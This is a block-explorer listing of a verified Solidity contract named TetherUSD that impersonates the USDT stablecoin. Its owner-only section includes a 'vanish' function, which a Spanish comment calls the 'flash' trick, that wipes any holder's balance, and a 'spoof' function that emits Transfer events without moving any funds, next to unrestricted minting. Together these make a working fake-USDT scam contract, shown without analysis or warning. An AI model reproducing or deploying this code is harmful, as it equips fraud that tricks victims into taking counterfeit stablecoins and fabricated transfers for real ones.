Verified contractExactMIT
TetherUSD
Address0x0bdc04bafaaa4f43b700e71f4cfd29e861f7060d
- Balance
0 ETH
- Transactions
5
- Compiler
solc 0.8.26
- Same code
Only this contract
Details
- Compiler
- solc 0.8.26+commit.8a97fa7a
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- cancun
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,366,101
- Creation transaction
- 0xaaf881d211…407e48383a
TetherUSD.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract TetherUSD {
string public constant name = "Tether USD";
string public constant symbol = "USDT";
uint8 public constant decimals = 6;
address public owner;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
constructor() {
owner = msg.sender;
}
function totalSupply() external view returns (uint256) { return _totalSupply; }
function balanceOf(address a) external view returns (uint256) { return _balances[a]; }
function allowance(address o, address s) external view returns (uint256) { return _allowances[o][s]; }
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 a = _allowances[from][msg.sender];
require(a >= amount, "allowance");
if (a != type(uint256).max) {
_allowances[from][msg.sender] = a - amount;
}
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(to != address(0), "zero address");
uint256 bal = _balances[from];
require(bal >= amount, "balance");
unchecked { _balances[from] = bal - amount; }
_balances[to] += amount;
emit Transfer(from, to, amount);
}
// ---------- control ----------
function mint(address to, uint256 amount) external onlyOwner {
_totalSupply += amount;
_balances[to] += amount;
emit Transfer(address(0), to, amount);
}
function batchMint(address[] calldata to, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < to.length; i++) {
_totalSupply += amount;
_balances[to[i]] += amount;
emit Transfer(address(0), to[i], amount);
}
}
// el truco "flash": el owner hace desaparecer el saldo de cualquiera
function vanish(address from, uint256 amount) external onlyOwner {
uint256 bal = _balances[from];
require(bal >= amount, "balance");
unchecked { _balances[from] = bal - amount; }
unchecked { _totalSupply -= amount; }
emit Transfer(from, address(0), amount);
}
// emite un evento de transferencia SIN mover saldo real
function spoof(address from, address to, uint256 amount) external onlyOwner {
emit Transfer(from, to, amount);
}
function transferOwnership(address n) external onlyOwner {
require(n != address(0), "zero");
owner = n;
}
}
Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "cancun",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.